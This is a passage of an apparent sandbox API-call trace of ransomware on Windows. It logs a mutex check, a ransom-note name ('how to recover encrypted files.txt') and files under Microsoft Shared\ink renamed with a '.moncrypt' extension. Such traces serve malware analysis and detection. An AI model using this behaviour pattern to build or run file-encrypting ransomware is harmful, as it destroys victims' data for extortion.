CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.646] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0045.646] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.646] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.646] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.646] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="z", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="zí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.646] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ií\x18", lpUsedDefaultChar=0x0) returned 1 [0045.646] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.646] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.646] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ní\x18", lpUsedDefaultChar=0x0) returned 1 [0045.646] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ií\x18", lpUsedDefaultChar=0x0) returned 1 [0045.646] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ní\x18", lpUsedDefaultChar=0x0) returned 1 [0045.646] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.646] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.646] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.646] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.646] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="k", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.646] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.646] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ií\x18", lpUsedDefaultChar=0x0) returned 1 [0045.646] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.646] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.646] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0045.646] CharLowerBuffW (in: lpsz=".exe", cchLength=0x4 | out: lpsz=".exe") returned 0x4 [0045.646] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".exe", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".exeShared\\ink\\FlickLearningWizard.exey", lpUsedDefaultChar=0x0) returned 4 [0045.646] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0045.646] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0045.646] GlobalLock (hMem=0x440004) returned 0x551178 [0045.646] GlobalHandle (pMem=0x551178) returned 0x440004 [0045.647] GlobalUnlock (hMem=0x440004) returned 0 [0045.647] GlobalLock (hMem=0x440004) returned 0x551178 [0045.647] GlobalLock (hMem=0x44000c) returned 0x553188 [0045.647] GlobalHandle (pMem=0x551178) returned 0x440004 [0045.647] GlobalUnlock (hMem=0x440004) returned 0 [0045.647] GlobalHandle (pMem=0x553188) returned 0x44000c [0045.647] GlobalUnlock (hMem=0x44000c) returned 0 [0045.647] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0045.647] CharLowerBuffW (in: lpsz="hwrcommonlm.dat", cchLength=0xf | out: lpsz="hwrcommonlm.dat") returned 0xf [0045.647] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.647] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.647] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.647] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0045.647] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.647] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.647] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ní\x18", lpUsedDefaultChar=0x0) returned 1 [0045.647] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.647] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.647] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.647] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.647] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.647] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.647] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.647] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.647] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0045.647] CharLowerBuffW (in: lpsz=".dat", cchLength=0x4 | out: lpsz=".dat") returned 0x4 [0045.647] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".dat", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".datShared\\ink\\hwrcommonlm.date", lpUsedDefaultChar=0x0) returned 4 [0045.647] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat", lpFindFileData=0x18eb04 | out: lpFindFileData=0x18eb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ece8572, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x2ece8572, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x2ea60e45, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0xb620, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrcommonlm.dat", cAlternateFileName="")) returned 0x54e200 [0045.647] FileTimeToLocalFileTime (in: lpFileTime=0x18eb18, lpLocalFileTime=0x18ea30 | out: lpLocalFileTime=0x18ea30) returned 1 [0045.647] FileTimeToDosDateTime (in: lpFileTime=0x18ea30, lpFatDate=0x18eae6, lpFatTime=0x18eae4 | out: lpFatDate=0x18eae6, lpFatTime=0x18eae4) returned 1 [0045.648] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0045.648] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat", dwFileAttributes=0x20) returned 0 [0045.680] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18da40, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0045.681] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcommonlm.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcommonlm.dat.moncrypt")) returned 0 [0045.681] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0045.681] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0045.681] GlobalLock (hMem=0x44000c) returned 0x551178 [0045.681] GlobalHandle (pMem=0x551178) returned 0x44000c [0045.681] GlobalUnlock (hMem=0x44000c) returned 0 [0045.681] GlobalLock (hMem=0x44000c) returned 0x551178 [0045.681] GlobalLock (hMem=0x440004) returned 0x553188 [0045.681] GlobalHandle (pMem=0x551178) returned 0x44000c [0045.681] GlobalUnlock (hMem=0x44000c) returned 0 [0045.681] GlobalHandle (pMem=0x553188) returned 0x440004 [0045.681] GlobalUnlock (hMem=0x440004) returned 0 [0045.681] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0045.681] CharLowerBuffW (in: lpsz="hwrenalm.dat", cchLength=0xc | out: lpsz="hwrenalm.dat") returned 0xc [0045.681] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.681] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.681] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.681] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0045.681] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.681] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.681] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.681] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ní\x18", lpUsedDefaultChar=0x0) returned 1 [0045.681] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.681] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.682] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.682] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.682] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0045.682] CharLowerBuffW (in: lpsz=".dat", cchLength=0x4 | out: lpsz=".dat") returned 0x4 [0045.682] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".dat", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".datShared\\ink\\hwrenalm.dat", lpUsedDefaultChar=0x0) returned 4 [0045.682] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat", lpFindFileData=0x18eb04 | out: lpFindFileData=0x18eb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f7eaa54, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x2f7eaa54, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x2f301d57, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0xb6710, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrenalm.dat", cAlternateFileName="")) returned 0x54e200 [0045.682] FileTimeToLocalFileTime (in: lpFileTime=0x18eb18, lpLocalFileTime=0x18ea30 | out: lpLocalFileTime=0x18ea30) returned 1 [0045.682] FileTimeToDosDateTime (in: lpFileTime=0x18ea30, lpFatDate=0x18eae6, lpFatTime=0x18eae4 | out: lpFatDate=0x18eae6, lpFatTime=0x18eae4) returned 1 [0045.682] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0045.682] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat", dwFileAttributes=0x20) returned 0 [0045.813] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18da40, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0045.813] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenalm.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenalm.dat.moncrypt")) returned 0 [0045.814] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0045.814] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0045.814] GlobalLock (hMem=0x440004) returned 0x551178 [0045.814] GlobalHandle (pMem=0x551178) returned 0x440004 [0045.814] GlobalUnlock (hMem=0x440004) returned 0 [0045.814] GlobalLock (hMem=0x440004) returned 0x551178 [0045.814] GlobalLock (hMem=0x44000c) returned 0x553188 [0045.814] GlobalHandle (pMem=0x551178) returned 0x440004 [0045.814] GlobalUnlock (hMem=0x440004) returned 0 [0045.814] GlobalHandle (pMem=0x553188) returned 0x44000c [0045.814] GlobalUnlock (hMem=0x44000c) returned 0 [0045.814] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0045.814] CharLowerBuffW (in: lpsz="hwrenclm.dat", cchLength=0xc | out: lpsz="hwrenclm.dat") returned 0xc [0045.814] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.814] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.814] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.814] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0045.814] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.814] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.814] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.814] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ní\x18", lpUsedDefaultChar=0x0) returned 1 [0045.814] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.814] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.814] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.814] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.814] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0045.814] CharLowerBuffW (in: lpsz=".dat", cchLength=0x4 | out: lpsz=".dat") returned 0x4 [0045.814] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".dat", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".datShared\\ink\\hwrenclm.dat", lpUsedDefaultChar=0x0) returned 4 [0045.814] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat", lpFindFileData=0x18eb04 | out: lpFindFileData=0x18eb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33535c00, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x33535c00, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x332fa78d, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0xc7240, dwReserved0=0x0, 